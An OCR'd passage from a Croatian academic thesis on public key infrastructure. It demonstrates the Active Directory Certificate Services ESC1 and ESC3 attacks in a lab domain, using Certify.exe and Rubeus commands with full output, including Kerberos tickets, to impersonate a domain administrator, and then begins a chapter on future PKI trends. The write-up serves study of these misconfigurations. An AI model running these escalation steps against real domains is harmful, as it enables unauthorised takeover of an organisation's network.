e ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME?2,
e ESCT7 - Ranjiva kontrola pristupa izdavatelju certifikata,
e ESC8 - NTLM prijenos na AD CS HTTP krajnje tocke,
e ESC9 - Bez sigurnosnog prosirenja,

e ESCI10 - Ranjivo preslikavanje certifikata,

e ESCI1 - Preusmjeravanje NTLM-a na ICPR,

e ESCI12 - Shell pristup ADCS CA s YubiHSM-om,

e ESCI13 - Zlouporaba veze grupe OID vrijednosc¢u.

Napadi opisani u radu su poznati pod imenima ESC1 i ESC3. Oba napada omogucuju
administratorski pristup domeni, te se samim time smatraju kao maksimalno vertikalno
ostvarivanje kontrole nad domenom. Napadi su testirani nad infrastrukturom podignutom u
prethodnom poglavlju, te su komponente infrastrukture javnog klju¢a modificirane prema
potrebama napada. Istrazivanjem su obuhvacena navedena dva napada iz visSe razloga. Obradeni
napadi ukazuju na specifi¢ne ranjivosti povezane s infrastrukturom javnih kljuceva te ilustriraju
kako naizgled minorna greska u konfiguraciji moZze rezultirati ozbiljnim sigurnosnim propustima.
Konkretno, pogresna konfiguracija certifikata ili agenta za izdavanje certifikata moze omoguciti
neovlasteno stjecanje administratorskih prava nad cijelom domenom. Ovo istrazivanje naglasava
vaznost pravilne konfiguracije i sigurnosnih postavki u PKI sustavima, jer i najmanji propusti mogu
imati dalekosezne posljedice po sigurnost cjelokupne IT infrastrukture. Kroz analizu ovih napada
demonstrira se kako odstupanje od sigurnosnih preporuka, poput davanja prava domenskim
korisnicima za izdavanje certifikata, moze omoguciti napadacima da preuzmu kontrolu nad
kriticnim dijelovima sustava, ¢ime se dodatno naglaSava potreba za rigoroznim sigurnosnim
mjerama u upravljanju PKI sustavima.

5.1. Analiza ESCI1 napada
ESC1 napad je ostvarivanje administratorskih privilegija na nacin da se zatrazi certifikat s
predloska koji je ranjiv po tome §to bilo koji autenticirani korisnik moze samostalno, prilikom
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izdavanja certifikata, popuniti polje alternativnog naziva subjekta (engl. Subject Alternative Name

_ SAN), [27].

Da bi se pogresna konfiguracija predlosSka uspjesno iskoristila, moraju se zadovoljiti
sljedeci uvjeti, [27]:

Moguc¢nost izdavanja certifikata korisnicima s niskim pravima u domenti,
Odobrenje upravitelja je onemoguceno,

Nisu potrebni ovlasteni potpisi,

Predlozak certifikata definira EKU (engl. Extended Key Usage) koje omogucuju
autentikaciju,

Predlozak certifikata omogucuje podnositeljima zahtjeva da specificiraju SAN u
CSR-u (engl. Certificate signing request).

U ovom radu koristit ¢e se korisnik vultest koji nije €lan niti jedne administrator grupe

unutar domene. Slikom 13 je prikazano ¢lanstvo korisnika vultest unutar grupa u domeni, te je
vidljivo da je korisnik jedino ¢lan grupe Domain Users u domeni master.lab.

vultest Properties X

Sessions Remote control Remote Desktop Services Profile COM+
General Address  Account  Profile Telephones ~ Organization

Member Of Password Replication Dialin Environment
Member of:
Name Active Directory Domain Services Folder

Slika 14. Clanstvo u grupama korisnika vultest u domeni master.lab

Administratorska prava koja ¢e se pokusSati preuzeti su od korisnika dcadmin koji je ¢lan
Administrators 1 Domain Admins grupa unutar domene S$to je prikazano slikom 14.
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dcadmin Properties ? X

Remote control Remote Desktop Services Profile COM+
General Address Account Profile Telephones Organization

Member Of Dialin Environment Sessions
Member of:

Name Active Directory Domain Services Folder

Administrators master.lab/Builtin

Domain Admins masterlab/Users

Domain Users masterlab/Users

Enterprise Admins masterlab/Users

Group Policy Creator Owners master.lab/Users

Schema Admins masterlab/Users

Slika 15. Clanstvo u grupama korisnika dcadmin u domeni master.lab

Kako bi se provjerili ostali uvjeti za iskoriStavanjem ranjivosti koristit ¢e se alat certify.exe.
Certify.exe pruza Sirok spektar funkcionalnosti za reviziju infrastrukture javnog kljuca, ukljucujuéi
mogucénost zahtjeva za novim certifikatima za trenutacno autenticiranog korisnika ili racunalo.
Certify je alat napisan u programskom jeziku C# koji prikazuje korisne konfiguracije i informacije
o infrastrukturi u okruzenjima infrastrukture javnog kljuca, sto ¢e se prikazati u ovom radu. Slikom
4 pokrenuta je inicijalna naredba u alatu certify kojom se dobivaju informacije o certificiraju¢em
tijelu u domeni. Inicijalna naredba koja ¢e se koristiti je Certify.exe find /vulnerable , [28].

/vulnerable

Slika 16. Prikaz rezultata naredbe Certify.exe find /vulnerable
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Iz slike 15 je moguce is€itati naziv glavnog certificirajuceg tijela, DNS (engl. Domain
Name System) zapis servera, informacije o vr§nom certifikatu, te vrijeme trajanja vr$nog certifikata.
Takoder, istom naredbom se dobiva informacija postoje li ranjivi certificiraju¢i predlosci te detalji
na koji su nac¢in napada ranjivi §to je prikazano slikom 16.

CA Name H 02 .master,lab\master-dc@2-CA-1
Template Name 5 bServer_v4
Schema Version s
Validity Period
1
Certificate-Name-Flag
spki-enrollment-T1ag - NONE
Authorized Sigpnatures Reguired )
endedkeyusage : Any Purpose, [Client Authentication, KDC Authentication, Server Authentication
certificate-application-policy : Any Purpose, f[Client Authentication, KDC Authentication, Server Authentication
SToNS
Enrollment Per
Enrollment R : MASTER\Domain Admins S- -21-2259143117-3741981425
STER\Enterprise Admins S 21-2259143117-3741981425
NT AUTHORITY\Authenticated Use -5-11
Object Control Permissions
Owner : MASTER\dcadmin S 59143117
WriteOwner Principals ] ER\dcadmin
ER\Domain Admins
ER\Enterprise Admins
WriteDacl Principals : ER\dcadmin
ER\Domain Admins

ER\Enterprise Admins -1-5-21-2259143117

WriteProperty Principals STER\dcadmin - -21-2259143117
STER\Domain Admins - -21-2259143117

MASTER\Enterprise Admins S-1-5-21-2259143117-

Certify completed in ©0:00:00.7735900

Slika 17. Pronalazak ranjivog predloska naredbom Certify.exe find /vulnerable

U ovom slucaju alat certify.exe je pronasao ranjivi predlozak WebServer v4 nad kojim je
moguce popunjavati SAN Sto se vidi iz vrijednosti atributa msPKI-Certificate-Name-Flag koji ima
vrijednost ENROLEE SUPPLIES SUBJECT. Dodatno je sa slike 16 moguce vidjeti da svi
autenticirani korisnici u domeni imaju pravo zatraziti certifikat s predloska WebServer v4.

Naredbom Certify.exe request /ca:dc02.master.lab\master-dc02-CA-1
/template:WebServer_v4 /altname:dcadmin@master.lab je zatrazeno izdavanje certifikata sa
WebServer v4 predloska u ime korisnika dcadmin@master.lab , [26].

Slikom 17 je prikazano generiranje certifikata i privatnog kljuca certifikata za korisnika
vultest, te certifikat ima popunjeno polje Al/tName s imenom domenskog administratora dcadmin.
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C:\Tools>Certify.exe request /ca:dc@2.master.lab\master-dc@2-CA-1 /template:WebServer_v4 /altname:dcadmin@master.lab

Action: Request a Certificates

Current user context

: MASTER\vultest

No subject name specified, using current context as subject.

Template
Subject
AltName

Certificate Authority

: WebServer_v4

: CN=vultest, CN=Users, DC=master, DC=lab
: dcadmin@master.lab

: dc@2.master.lab\master-dce2-CA-1

: The certificate had been issued.

CA Response
Request ID

cert.pem

: 10

Slika 18. Izdavanje certifikata u ime korisnika dcadmin

Dodatno, izdani certifikat je slikom 18 ispod prikazan graficki, gdje je vidljivo pod
generalnim informacijama da je certifikat zatrazio korisnik vulftest, dok u detaljima certifikata u
SAN polju se populirala vrijednost PrincipalName=dcadmin@master.lab koja omogucuje
naknadno oponaSanje admininstratora dcadmin prilikom autorizacije na domenski kontroler.

R

Certificate

{General | petails Certification Path

A Certificate Information

This certificate is intended for the following purpose(s):

« All application policies

Issued to: vultest
—_—ee—
Issued by: master-dc02-CA-1

Valid from 6/11/2024 to 6/11/2026

s Certificate X

General Detais Certification Path

Show: | <All> v
Field Value ()
_|Public key parameters 0500
3))|Certificate Template Inform... Template=Web Server_v4(1.3...
&) Enhanced Key Usage Any Purpose (2.5.29.37.0), Cl...
(&) | Application Policies [1]Application Certificate Polic...
$))|Subject Key Identifier fabbc4b2a57a652f700607a08. ..
3] Subject Alternative Name Other Name:Principal Name =d...
)| Authority Key Identifier KeyID=5¢26b303104d7d6044. ..
WICRI Nigtriby ihian Dainte 1001 Nictribe ihan Daint: Nictr N
Other Name:

Principal Name =dcadmin @master.lab

Copy to File...

o< ]

Slika 19. Graficki prikaz izdanog certifikata
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Certifikat je izdan u .pem (engl. Privacy-Enhanced Mail - PEM) formatu kojem je svrha
pohrana i slanje kriptografskih kljuceva, certifikata i drugih podataka, temeljen na skupu standarda
IETF-a (engl. The Internet Engineering Task Force) iz 1993. Sveukupno, ova ekstenzija sadrzi
samo certifikat, dok je privatni klju¢ generiran zasebno. PEM format dodatno osigurava pohranu,
kontrolu i upravljanje certifikatom jer je privatan klju¢ moguce izvesti samo na onom ra¢unalu na
kojem je zatrazeno izdavanje certifikata, [29]. Slikom 19 je prikazan skup simbola koji
predstavljaju zasebno privatan kljuc, te zasebno novoizdani certifikat.

SwuvPXpTD16k@JbeY

0X/Q qO

+7PNRcCg
dKttqTPN
hNSebPq1a01DrTRL
+4 Z

Slika 20. Novokreirani certifikat i odgovarajuci privatan klju¢

Nakon $to je certifikat s alternativnim imenom kreiran, skup simbola prikazan slikom iznad
je potrebno spremiti u dokument s ekstenzijom .pem. KorisStenjem alata OpenSSL je moguce
pretvoriti certifikat iz .pem formata u .pfx format koristenjem idu¢e naredbe:

o openssl pkcs12 -in dcadmin.pem -keyex -CSP ""Microsoft Enhanced Cryptographic
Provider v1.0" -export -out dcadmin.pfx, [30]

Slikom 20 je prikazan izgled dobivenih dokumenata pokretanjem naredbi prikazanih iznad.

(es]

| dcadmin.pem 1/30/2024 12:31 PM PEM File 4K

™

ft dcadmin.pfx 1/30/2024 12:33 PM Personal Information Exchange 4K

Slika 21. .PEM 1 .PFX datoteke
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PFX (engl. Personal Information Exchange) format, poznat pod imenom PKCS#I2,
certifikata sadrzi 1 privatan klju¢ i certifikat, te ¢e se taj format koristiti prilikom oponasanja
administratorskog racuna za povezivanje na domenski kontroler putem Powershell sesije, [30].

Idu¢i korak zahtjeva koristenje alata Rubeus.exe kojim je moguce zatraziti takozvani krbtgt
ulaznicu koji omogucuje predstavljanje korisnika kao administrator prilikom autorizacije na
domenski kontroler, [31]. Slikom 21 je prikazano uspjeSno preuzimanje krbtgt ulaznice za
korisnika dcadmin u domeni master.lab.

:\Tools>Rubeus.exe asktgt /user:"dcadmin" /certificate:"dcadmin.pfx" /passwor

v2.2.0
[*] Action: Ask TGT

Using PKINIT with etype rc4_hmac and subject: CN=vultest, CN=Users, DC=master, DC=lab
Building AS-REQ (w/ PKINIT preauth) for: ‘master.lab\dcadmin’

Using domain controller: 20.1.0.4:88

TGT request successful!

base64(ticket.kirbi):

AQKhF jAUGHK Z3 is jggTKMIIE4KADAGES
POVlecj7 DgMoLVg9bDOI yDN LsdpRKg1CVxPG+p7hdkT8Ksi7fwR1iFxbnDLzDd
kpURK1FOrnW9iFXxq7iP7Dy 20fvmj1hv5dIT1cp68C8j 6TtjEEeCjtF3rBgc

V
Bhu+1zGQgKLrJhJ43PvtnKegqDKUmZIorYHokdx/1Lk1PbDODVC
k6s1FoifsKRuS40ZEPkup+to8r01X20SfPXHrfpvHeqDYH2q
QCAL1rf/qaq7Vve ]
v8haR+1bblU
JfgBrogMVRqQ9T4SRUPHhVFQINPV+SLYxbtU+X7y I7XRyRg+cOIFg
rdAa@elkafrugz7X1ppUsC52/r7948NjMHHEq1QFCbSH /3Cg 6GOAGS2mNCWbn
o qiv1Y8cSShjdyDkSIiPb+spNc9Ke2
M 3/ Y8sqLfyp
6vTDvrhI1NNVe@IDqV+m Q0Xi1wW I iEPQgyBlCek
POl ruu/7U 6mNS aNQm! 3gB iT9 /rDybaGh6voNVAUoQdqFrTYEklkaUibCYX
ydOphFD5PQ1QQL1YRw6t87/GF1SuzAL0o4DBX2IIIXXCroWmUuGZv7DYCZ
OPH22xG1WCpvvSp8 xz1AikdY3d71tVR13P9

gsb+zk2yWXOA/IpI3UcCBF16x srts+feJh1n2KJonRoEQ4y8GXM7EZLvYcbz1JTvubbGep
NEWjLj6F1ChhSUAathHzgbA/47RTFCriblP7N4F 0z jCwL EBfgbHO1uKmOZb21WUikP3x31YIWOCezgOE
pQbN2zxCZUCDXDyxbKyCVrjmJlSamaLF40NKP2VyrTICLd2SCbGZOZpXdxrEwZh67vcOQFmtFSZOnAXgA
pyp170eRRW7K3J1 R2+2zuorxe9PfGLOOCUIItDOTC+/tfiqTlizogqjHsvTS@C4M11847qdal
1j1fs8fVHNYKAZBGE6MVNgCM10bKGFZzIIn XTN+niEtImSUTECXulEtgUtg4i7G7+6SpAlIW3cv19
4GCB803Bc92YIbj4+2fhPRNifqhKRaOB ADAgEAOOHEBIHBfYG+MIG70IG4MIGIMIGyoBswGaAD
AgEXORIEEE8CUhKbjF@0omTbQfnGyVWhDBSKTUFTVEVSLkxBQgI : A kbB2RjYWRtaW6j
BwMFAEDhAAC1ERgPMjAYNDAXMzAXMjM3NThaphEYDz IwMjQuwMTMwMj bl GA8yMDIOMDIWNJEY
Mzc10FqoDBsKTUFTVEVSLkxBQgkfMB2gAwIBAQEWMBQbBmtyYnRnd dGVyLmxhYg==

ServiceName :  krbtgt/master.lab
viceRealm MASTER. LAB

UserName dcadmin

UserRealm :  MASTER.LAB

StartTime

EndTime

RenewTill

Flags

KeyType

E8BOC6EO84584A3B10F47760F50917

Slika 22. KRBTGT ulaznica za oponasanje domenskog admina dcadmin

Naredbom klist se dobiva informacija o trenutno aktivnim kerberos ulaznicama. Slikom 22
je prikazano kako trenutno autenticirani korisnik vulfest raspolaze kerberos ulaznicama za
administratora dcadmin@master.lab.
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C:\Tools>whoami
master\vultest

C:\Tools>klist

Current LogonId is ©:0xab971

Cached Tickets: (4)

#0>

Client: dcadmin @ MASTER.LAB

Server: krbtgt/MASTER.LAB @ MASTER.LAB

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags ©x60al10000 -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 6/11/2024 11:40:48 (local)

End Time: 6/11/2024 21 :52 (local)

Renew Time: 6/18/2024 11:39:52 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96

Cache Flags: ©x2 -> DELEGATION

Kdc Called: dc@2.master.lab

Client: dcadmin @ MASTER.LAB

Server: krbtgt/master.lab @ MASTER.LAB

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags ©x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 6/11/2024 11:39:52 (local)

End Time: 6/11/2024 21 -

Renew Time: 6/18/2024 11:39:52 (local)

Session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: ©x1 -> PRIMARY

Kdc Called:

Slika 23. Naredba klist

Slikom 23 je dokazana elevacija prava napadom ESCI. Prvo je pokrenuta naredba whoami

kojom je vidljivo da je trenutno aktivan korisnik vulfest. Nakon pokretanja powershell sesije te
spajanja na server dc02 naknadno je ponovno pokrenuta naredba whoami te je sad aktivan korisnik
dcadmin koji ima mogucnost pristupanja disku C na domenskom kontroleru.
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C:\Tools>whoami
master\vultest

C:\Tools>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Tools> Enter-PSSession : > dco2

[dce2]: PS C:\Users\dcadmin\Documents> whoami

master\dcadmin

[dce2]: PS C:\Users\dcadmin\Documents> Get-ChildItem \\dc@2\c$

Directory: \\dce2\c$

LastWriteTime Length Name

1/16/2024 : Packages
12/31/2023 : PerflLogs
12/31/2023 : Program Files
12/31/2023 - Program Files (x86)
1/16/2024 : Users
6/4/2024 : Windows

5/31/2024 - WindowsAzure

Slika 24. Dokaz elevacije prava napadom ESC1

5.2.  Analiza ESC3 napada
ESC3 napad je po velikom broju koraka identican ESC1 napadu. Glavna razlika je u tome
Sto se u ESC3 napadu koristi dodatan predlozak koji ima moguénost potpisivanja ostalih tipova
certifikata, tj. Ima EKU vrijednost Certificate Request Agent koji je u Microsoftovoj dokumentaciji
opisan kao tijelo koje ima moguénost izdavanja certifikata u ime drugog korisnika, [32].

Da bi se pogresna konfiguracija predloSka uspjesno iskoristila, moraju se zadovoljiti sljedeci
uvjeti, [32]:

e Mogucnost izdavanja certifikata korisnicima s niskim pravima u domeni,

e (Odobrenje upravitelja je onemoguceno,

e Nisu potrebni ovlasteni potpisi,

e Predlozak certifikata ukljucuje Certificate Request Agent EKU, koji omogucuje
zahtjev certifikata u ime drugih korisnika ili uredaja.
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U svrhu odradivanja napada ESC3 kreirana su dva nova predloska pod imenima
ESC3 agent i ESC3 _certificate kao $to je vidljivo ispod u slici 24.

2] Certificate Templates (dc02.masterlab) || Template Display Name Schema Version Version Intended Purposes
2] Administrator 1 4.1
2] Authenticated Session 1 31
& Basic EFS 1 31
& ca Exchange 2 106.0  Private Key Archival
& cep Encryption 1 4.1
2] Code Signing 1 31
& Computer 1 5.1
{3 Cross Certification Authority 2 105.0
& Directory Email Replication 2 1150  Directory Service Email Replication
5] Domain Controller 1 4.1
2] Domain Controller Authentication 2 1100 Client Authentication, Server Authentication, Smart Card Logon
] EFS Recovery Agent 1 6.1
13 Enrollment Agent 1 4.1
2 Enrollment Agent (Computer) 1 5.1
fir)| ESC3_agent 2 100.5  Certificate Request Agent
1] ESC3_certificate 2 100.7  Server Authentication, Client Authentication
12| Exchange Enrollment Agent (Offline request) 1 4.1

Slika 25. Novokreirani predlosci za ESC3 napad

ESC agent predlozak sadrzi Certificate Request Agent EKU, dok je ESC3 certificate
predlozak definiran na nacin da certifikat moze biti izdan jedino od korisnika koji raspolaze sa
certifikatom koji je potpisan na predlosku ESC3 agent. Navedena karakteristika povezivanja
funkcionalnosti certifikata se definira na krajnjem certifikatu, te je prikazano slikom 25, [32].

ESC3_certificate Properties ? X

Superseded Templates Extensions Security Server
General Compatibility Request Handling ~Cryptography = Key Attestation
Subject Name Issuance Requirements

Require the following for enroliment:
[CJ CA cettfficate manager approval
[ This number of authorized signatures: EI

If you require more than one signature, autoenroliment is not allowed.

Policy type required in signature:
Aopbcation polcy v
Application policy:
Certificate Request Agent 4
T
Add
Remove

Require the following for reenroliment:
(®) Same citeria as for enroliment
O Valid existing certfficate

Allow key based renewal (”

Requires subject information to be provided within the certificate
request.

* Control is disabled due to compatibility settings

Slika 26. Postavke ESC3_certificate predloska
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Nakon $§to je postavljena konfiguracija predlozaka potrebnih za ESC3 napad, prvi korak je
s alatom certify.exe zatraziti certifikat s predloska ESC3 Agent. S korisnikom vultest unutar CMD
sucelja se pokrece naredba Certify.exe request /ca:dc02.master.lab\master-dc02-CA-1
/template:ESC3_agent kojom se dobije certifikat s predloSka ESC3 agent Sto je vidljivo na slici
26, [33].

C:\Tools>Certify.exe request /ca:dc@2.master.lab\master-dc@2-CA-1 /template:ESC3_agent

Action: Request a Certificates

Current user context : MASTER\vultest
No subject name specified, using current context as subject.

Template : ESC3_agent
Subject : CN=vultest, CN=Users, DC=master, DC=lab

Certificate Authority : dc@2.master.lab\master-dc@2-CA-1

CA Response : The certificate had been issued.
Request ID cn2 7

Slika 27. Izdavanje certifikata s predloska ESC3 agent

Budu¢i da je konfiguracija predloska ESC3 certificate definirana na nacin da jedino
korisnici s certifikatom izdanim s predloska ESC3 _agent mogu zatraziti certifikat s predloska
ESC3_certificate, idu¢om naredbom je dodana linija u kojoj se definira putanja certifikata
ESC3 _agent, te se forsira sustav da se certifikat izdaje u ime administratorskog racuna dcadmin.
Naredba koja ¢e se koristiti je Certify.exe request /ca:dc02.master.lab\master-dc02-CA-1
/template:ESC3_certificate /onbehalf:master\dcadmin /enrollcert:C:\Tools\ESC3_agent.pfx
/enrollcertpw:1234 , $to je prikazano slikom 27, [33].
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Slika 28. Neuspjesno izdavanje certifikata s predloSka ESC3_certificate

Pokusaj izdavanja certifikata s predloSka ESC3 certificate je neuspjeSan s opisom
problematike Denied by Policy Module. Istrazeno je da je razlog odbijanja nemoguénost
povezivanja funkcionalnosti dvaju certifikata izdanih sa ESC3 agent 1 ESC3 certificate
predlozaka. Idu¢i pokusaj je izdavanje certifikata preko grafickog sucelja gdje se ru¢no unose
podaci o aktivhom raunu vultest, te informacije o administratorskom racunu dcadmin koji se
pokuSava oponaSati. Slikom 28 prikazano je graficko sucelje izdavanja certifikata, te sve
informacije koje je potrebno unijeti kako bi se certifikat naknadno mogao iskoristiti prilikom
oponasanja administratorskog racuna. Informacije koje je potrebno unijeti prilikom izdavanja
certifikata su [33]:

e Ime trenutnog korisnika (engl. Common Name),
¢ Glavno ime administratorskog racuna (engl. User principal name - UPN),

e Lokacija certifikata ESC3 agent koji je nuzan za izdavanje certifikata
ESC3 _certificate.
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Certificate Properties

A subject A, Signature  General Extensions PrivateKey Certification Authority

The subject of a certificate is the user or computer to which the certificate is issued. You
can enter information about the types of subject name and alternative name values that
can be used in a certificate.

Subject of certificate

The user or computer that is receiving the certificate

Subject name:

Type: CN=vultest
Common name v Add > T

Value:

‘ e < Remove

Alternative name:

Type:
User principal name v

Value: Add>
l ]

< Remove

OK Cancel Apply

Slika 29. Graficki prikaz unoSenja podataka prilikom izdavanja certifikata ESC3_certificate

Dodatno, slikom 29 je prikazano definiranje ESC3_agent certifikata prilikom zahtijevanja
certifikata s predloska ESC3_certificate.

A subject A Signature General Extensions Private Key Certification Authority
Many organizations use a registration authority (RA) to manage certificate requests
Use the following certificate to sign this certificate request.
Signing certificate
Windows Security X
Select a Certificate
_ | Vultest@master.lab
° =
hassssad Issuer: master-dc02-CA-1
Valid From: 6/4/2024 to 6/4/2026
Click here to view certificate properties
OK Cancel
oK Cancel Apply

Slika 30. Dodavanje ESC3_agent certifikata prilikom izdavanja certifikata s predloska
ESC3 certificate

40



Certifikat ESC3 _certificate je uspje$no izdan s definiranim SAN poljem u obliku Principal
Name=dcadmin. Na kraju, certifikat je potrebno izvesti u .pfx oblik, te pomocu Rubeus alata
zatraziti KRBTGT ulaznicu koja omogucuje pristup domenskom kontroleru koristeci
administrativni racun dcadmin. Naredba koriStena za dobivanje KRBTGT ulaznice je identi¢na kao
iu ESCI napadu, a to je Rubeus.exe asktgt /user:"dcadmin" /certificate:""ESC3_certificate.pfx"
/password:""1234" /ptt . Rezultat naredbe je prikazan slikom 30, [33].

C:\Tools>Rubeus.exe asktgt /user:"dcadmin™ /certificate:"ESC3_certificate.pfx" /password:"1234" /ptt

v2.2.0
Action: Ask TGT

Using PKINIT with etype rc4_hmac and subject:

Building AS-REQ (w/ PKINIT preauth) for: 'master.lab\dcadmin’
Using domain controller: 20.1.0.4:88

TGT request successful!

base64(ticket.kirbi):

doIF9DCCBfCgAWIBBaEDAgEWOOIFEDCCBQxhggUIMIIFBKADAGEFoQwbCk1BU1RFUiSMQUKiHZAdOAMC
AQKhFJAUGWZrcmI@Z3QbCmihc3R1c jggTMMIIEY gESOQMCAQKiggS6B J+gundl
HSgSmTDbu3pICbY1YiQtEqlVrMi/srBkOrHTNPOMIXKXxa8MZzOT+J29LavF)
BEL{ILNESD () y 9MPSvrZOyiQHA6530Qe97h3KN7awCX18Pt9cctKdfvBSwpinSmquFgy3Dt
7rkhzqQ5xbsdv sE3eVddfwjHQgkVvDSnt12+K7PuKaxUjlx2+TK126tT/2UygX5DCNperaqeu67vpQ
vfRugkFFRAiIW110SYL71iQ/cDTb@xgpsKeoXByR1b9txXuSfU20b2+QstFt61Ib2/U3tEhLReeqIS2v+y
xFSWSSEU9OVDFYCkVT44yGym7VRV3MPcMkp7 YUXIRT3UGtMmIpe1Rglj8QZESNTp2cvgQ6LzX
wStDLTpl6WxV/SaQL3U+8f 6fFOYnNnaXdPRJ15gqnF1EsGhMrz6+4UEHF7AyE4k61aTS5dFDM
8CefnDQa7UnUGRCAVSbt1UFF+SKEMNIZTz2wtf3EJpj3z07LzuGwloxyzv+7TjmuxkjA8X
p7r0jG4DhnGBO2VruZT+EoBCcr3ACHXYOpFNQXxSY15Ifpa0 gMSRyq89UXPE8yzA
SbgedSU1/KpIBbKigmWyEBygxY+6XFugztbAFSYdP3PDSEQSKLDrIggRqi8WgoONacb1QRtN9edAmgVDN
8hHv7iKNumNBe+55YgFauFaQUPmydwL5j+qdpz 9 /rMzifViULAdt70a+dJ3+saqjY8IQoy+
nw27MaXNEU1CLVM841GQXOMWT /s DGtvk/ tuEm8OmMNmr9oDNongdL3MzI8NIZUEj@o9dxFhC
(91]4e510sPsc+/BQfdKgne8sx@elrwBTOww41sBbZI5/PsDgbxIm81TuiS8If1/vVaPko3
2kS2Dtdt8i061L0XI/noz1MXuIhfLXifdXt5rmewPOjxZ3YkaX9MCOe+n+US5xN+Gw6jOb367WOAZ
G4Zwd7X6iCFKJIOQOFrVk2i1j4zHD1hi78i+Tp7+GuFTve RjeypVajx6P1oqugLFF8gz hKvg63J
zfSrIouQFSp+WyysYpBoZbY/AmEOpfa7FK/eeZf/uT7USAalwd5tSeNjVUXuMLjYep4RIQTK6C7bodhv
BFkvwfwGFeKIDIpwCQTOWSWj1TGfilBawCybue@SbkAXiaItfW8nBuF290soayQo2Wal /Y+HmeIbKu!
3IjA2BVZuWfkuR CPIuOIPe6L6LGKhV kKtptv+/BGFkmlKRtf féwIe/sXd
0cJYvisCb
nDgbA3HadBU1hUauvRmrYzMKgAQkQI
A2UXHIASpGPPNRW1JIHreHItW7bebYHk2/+5S42XRTPEXshVE8HNCXTimE7uIORfHtwWO
2zCBzKADAGEAOOHEBIHBfYG+MIG70IG4MIGIMIGYoBSwGaADAgEXORIEEECCAUk1WODbhy
DBSKTUFTVEVSLkxBQqIUMBKgAwWIBAaELMAkbB2RjYWRta BwMFAEDhAAC1ERgPMJjAYND:
NDZaphEYDz IwMjQwNjEzMDUWNTQ2kqcRGA8yMDIO! XOTESMDU@N1qoDBsKTUFTVEVSLkxBQgkfMB2g
AwIBAQEWMBQbBmtyYnRndBsKbWFzdGVyLmxhYg
[+] Ticket successfully imported!

ServiceName :  krbtgt/master.lab

ServiceRealm : MASTER.LAB

UserName : dcadmin

UserRealm :  MASTER.LAB

StartTime 2 6 PM

EndTime z AM

RenewTill g /19/ s 6 PM

Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType ¢ rc4_hmac

Base64(key) ¢  RwLhSTVYS5uHImEBOFT@asg

ASREP (key) : ODC60964A36DF6152471E01D3E700OF5D

Slika 31. OponaSanje administratorskog racuna s KRBTGT ulaznicom

Za kraj napada, kao dokaz uspjesnosti izvedenog, pokrenute su naredbe klist 1 whoami, te
je uspjesno pristupljeno domenskom kontroleru oponasaju¢i administrativni racun dcadmin. Dokaz
elevacije prava je prikazan slikom 31.
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:\Tools>klist
urrent LogonId is ©:0x12b3a@
ached Tickets: (1)

j#0> Client: dcadmin @ MASTER.LAB
Server: krbtgt/master.lab @ MASTER.LAB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags ©x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 6/12/2024 19:07:56 (local)
End Time: 6/13/2024 7:56 (local)
Renew Time: 6/19/2024 19:07:56 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: ©x1 -> PRIMARY
Kdc Called:

C:\Tools>whoami
master\vultest

:\Tools>powershell
plindows PowerShell

opyright (C) Microsoft Corporation. All rights reserved.

ry the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Tools> Enter-PSSession dco2

[dco2]: PS C:\Users\dcadmin\Documents> whoami

naster\dcadmin

[dce2]: PS C:\Users\dcadmin\Documents> Get-ChildItem \\dc@2\c$

Directory: \\dce2\c$

LastWriteTime Length Name

1/16/2024 ‘H Packages
12/31/2023 - A PerflLogs
12/31/2023 - A Program Files
12/31/2023 139 A Program Files (x86)
1/16/2024 ) : Users

6/4/2024 = lindows

5/31/2024 - Windows

Slika 32. Elevacija prava napadom ESC3



6. Budu¢i trendovi razvoja infrastrukture javnog kljuca
Infrastruktura javnog kljuca kontinuirano dozivljava znacajne promjene i inovacije kako bi
odgovorila na sve slozenije izazove suvremenog digitalnog svijeta. U ovom poglavlju istrazuju se
tri kljuéna aspekta koja oblikuju buduéi razvoj PKI-a, a to su napredak umjetne inteligencije,
integracija blockchain tehnologije 1 uloga kvantne kriptografije, [34].

U pogledu umjetne inteligencije, istrazuje se njezina sve veca primjena za automatizaciju
procesa, analitiku i poboljsanje sigurnosti PKI sustava. Umjetna inteligencija omogucuje brzu i
precizniju provjeru identiteta, autentikaciju korisnika i otkrivanje nepravilnosti u komunikaciji,
¢ime se povecava efikasnost i pouzdanost PKI-a, [34].

Analizirat ¢e se integracija blockchain tehnologije u PKI infrastrukturu koja donosi
decentralizaciju, transparentnost i ve¢u sigurnost od prijetnji. Blockchain omogucuje distribuiranu
pohranu kljuceva i certifikata, eliminirajuéi rizik od napada i stvarajuci otpornost na neautorizirane
promjene, [34].

Istrazit ¢e se uloga kvantne kriptografije u osiguravanju dugorocne sigurnosti PKI-a pred
izazovima koje donosi razvoj kvantnih raCunala. Kvantna kriptografija koristi principe
neodredenosti kvantne mehanike kako bi osigurala sigurnu razmjenu kljuceva, ¢ineci ih otpornima
na kvantne napade koji bi mogli ugroziti tradicionalne kriptografske metode, [34].

Ovi kljucni aspekti zajedno oblikuju buduénost PKI-a, osiguravajucéi sigurnu,
transparentnu i inovativnu digitalnu buduénost u doba neprekidnog razvoja informacijskih
tehnologija, [34].

6.1. PKIiumjetna inteligencija
U svijetu informacijskih tehnologija, jedna stvar je sigurna - nepredvidljivost. Brza
evolucija tehnologije i stalni napredak umjetne inteligencije (engl. Artificial Intelligence - Al),
zajedno s drugim inovacijama, oblikuju put napretka infrastrukture javnog kljuca. Dok se PKI veé
godinama dokazuje kao nezaobilazan alat za osiguravanje digitalnih identiteta, potpisa 1 enkripcije,
razvoj umjetne inteligencije 1 drugih tehnoloskih alata donosi nove izazove i1 otvara vrata
neoc¢ekivanim rjeSenjima, [35].

